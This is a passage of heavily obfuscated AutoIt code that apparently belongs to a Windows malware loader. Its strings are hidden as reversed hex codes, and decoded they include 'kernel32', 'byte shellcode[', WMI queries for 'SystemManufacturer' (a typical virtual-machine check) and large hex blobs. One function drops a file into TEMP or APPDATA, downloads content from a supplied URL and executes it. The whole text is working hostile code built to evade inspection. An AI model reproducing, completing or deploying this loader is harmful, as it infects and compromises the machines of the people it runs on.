) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $LNQOBFZTSH FOR $MGATUHCNGGUEMLM = 0 TO 4 $LNQOBFZTSH &= CHRW ($W_APUJVRXE_ACNHQA_NF [$MGATUHCNGGUEMLM ] ) NEXT RETURN $LNQOBFZTSH ENDFUNC FUNC ZUVPFO_IOH_UCATBIRFB () LOCAL $BDENEDCGUSEQ_RJSBHNH [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) ] LOCAL $WPIKBLUOWD FOR $XZKD_JYUFGKJRPD = 0 TO 61 $WPIKBLUOWD &= CHRW ($BDENEDCGUSEQ_RJSBHNH [$XZKD_JYUFGKJRPD ] ) NEXT RETURN $WPIKBLUOWD ENDFUNC FUNC SSPYEXNFIBJOBKNJACGY () LOCAL $ETDEIKXUPZWUPNUTJJID [3 ] = [EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("15x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) ] LOCAL $_OKQUATQKF FOR $RULNVRYSKYUZLYZ = 0 TO 2 $_OKQUATQKF &= CHRW ($ETDEIKXUPZWUPNUTJJID [$RULNVRYSKYUZLYZ ] ) NEXT RETURN $_OKQUATQKF ENDFUNC FUNC QPARKZOAJNPZUBEJPIAG () LOCAL $LLZABALWWJMPHUUPGKMQ [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $FQ_QJOSFZB FOR $IGZATVJBI_RTKSG = 0 TO 61 $FQ_QJOSFZB &= CHRW ($LLZABALWWJMPHUUPGKMQ [$IGZATVJBI_RTKSG ] ) NEXT RETURN $FQ_QJOSFZB ENDFUNC FUNC MSDQMKKEXSBRGVZTZXPQ () LOCAL $FQPGIHFTHNEQA_RNOHXZ [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $WCXHEFRXKN FOR $GISLOBAQXON_YQP = 0 TO 61 $WCXHEFRXKN &= CHRW ($FQPGIHFTHNEQA_RNOHXZ [$GISLOBAQXON_YQP ] ) NEXT RETURN $WCXHEFRXKN ENDFUNC FUNC UYZWWOMEUECBCSCIMUBY ($URL , $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME , $DIR ) LOCAL $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALLIR IF @SCRIPTDIR <> $STARTUPDIR THEN SWITCH $DIR CASE 1 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @TEMPDIR CASE 2 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @APPDATADIR CASE 3 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @SCRIPTDIR ENDSWITCH IF $WEJFCNHYHVTJQOLOSMDZSJISCNMYGCZHYVOHHRJOEYRHSZMDQTPGYLFM ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) THEN $CRIYYFOYFKNHKDLPD_OJSJHSJMRWMCLWYBLJBRBHHTBJ ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) ENDIF $LQAZTYNOLPEDVELQAYFKIH_WYYOVUZT ($URL , $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & OCVHBVQVZJWZFZDARYQO () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) ENDIF ENDFUNC FUNC PLBWNYNTIIIKNAUMHPZF () LOCAL $RMQ_PHMIIWNJTZMDYARS [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $DVCGFLFLMV FOR $ATAZQCORVVEEZ__ = 0 TO 4 $DVCGFLFLMV &= CHRW ($RMQ_PHMIIWNJTZMDYARS [$ATAZQCORVVEEZ__ ] ) NEXT RETURN $DVCGFLFLMV ENDFUNC FUNC RRCUUIQSMBIOHRAORMJJ () LOCAL $NFQYICVICWOCAMYUDIUQ [8 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $MBELROHQQN FOR $MKMTFJPUCETEYVX = 0 TO 7 $MBELROHQQN &= CHRW ($NFQYICVICWOCAMYUDIUQ [$MKMTFJPUCETEYVX ] ) NEXT RETURN $MBELROHQQN ENDFUNC FUNC BMIBDWHMJFRPMHLANTGE () LOCAL $PTOFAFOMDQQCCIBSLDTC [15 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B5x0" ) ) ] LOCAL $IYCAYHVITO FOR $LIUMHICIHICAUVP = 0 TO 14 $IYCAYHVITO &= CHRW ($PTOFAFOMDQQCCIBSLDTC [$LIUMHICIHICAUVP ] ) NEXT RETURN $IYCAYHVITO ENDFUNC FUNC MZDCFXKYPOAJIWJLEKYM () LOCAL $NKYIEYEJAYJBPNHEXEBK [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) ] LOCAL $CAVYHSAXRE FOR $ENQWHLXWTVXHZKZ = 0 TO 61 $CAVYHSAXRE &= CHRW ($NKYIEYEJAYJBPNHEXEBK [$ENQWHLXWTVXHZKZ ] ) NEXT RETURN $CAVYHSAXRE ENDFUNC FUNC LQHDMFS_RKXYESHHPWT_ () LOCAL $FSKLVLRZSTOLIYCLUNLJ [62 ] = [EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $TGWIBOSHYW FOR $V_GFRXZFAYQVDKI = 0 TO 61 $TGWIBOSHYW &= CHRW ($FSKLVLRZSTOLIYCLUNLJ [$V_GFRXZFAYQVDKI ] ) NEXT RETURN $TGWIBOSHYW ENDFUNC FUNC NQPLXWVTTZZUFVGPBVQN () LOCAL $ONPYMVKQJCRIAIFVFVKR [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $AARZBLEJRH FOR $ZTVAQFOMUFHHLIP = 0 TO 0 $AARZBLEJRH &= CHRW ($ONPYMVKQJCRIAIFVFVKR [$ZTVAQFOMUFHHLIP ] ) NEXT RETURN $AARZBLEJRH ENDFUNC FUNC QXQWU_RBWBMFXKJQZDKP () LOCAL $JGHDIAGXIADSYQDBZSUT [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $KQMNTTUTWY FOR $DDCBJGYKUCINPYC = 0 TO 2 $KQMNTTUTWY &= CHRW ($JGHDIAGXIADSYQDBZSUT [$DDCBJGYKUCINPYC ] ) NEXT RETURN $KQMNTTUTWY ENDFUNC FUNC EBVQBCPIRLXSKFHIEPIK () LOCAL $MCLTMRYKABJOAHGFVEJ_ [18 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $CQCEKEEHQC FOR $X_MNSXEVMQ_LPBL = 0 TO 17 $CQCEKEEHQC &= CHRW ($MCLTMRYKABJOAHGFVEJ_ [$X_MNSXEVMQ_LPBL ] ) NEXT RETURN $CQCEKEEHQC ENDFUNC FUNC CUYGNBRBZLVBJPQCMCZX () LOCAL $FUCMDZYUAATYLQLUOEUB [25 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $ISLDODXBZS FOR $XB_KMYMXTJEQGYB = 0 TO 24 $ISLDODXBZS &= CHRW ($FUCMDZYUAATYLQLUOEUB [$XB_KMYMXTJEQGYB ] ) NEXT RETURN $ISLDODXBZS ENDFUNC FUNC UUDZTGHMEFMPIZPIMAIR () LOCAL $FFL_BFRN_TOOOBOBWMNL [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $PIEYOPUMLR FOR $YQZKISMNLTSSEZQ = 0 TO 4 $PIEYOPUMLR &= CHRW ($FFL_BFRN_TOOOBOBWMNL [$YQZKISMNLTSSEZQ ] ) NEXT RETURN $PIEYOPUMLR ENDFUNC FUNC ERZWPDRYZIEKZMNWFDCA () LOCAL $VZRXZHIPHCEMSJOJZRXU [45 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("A2x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , 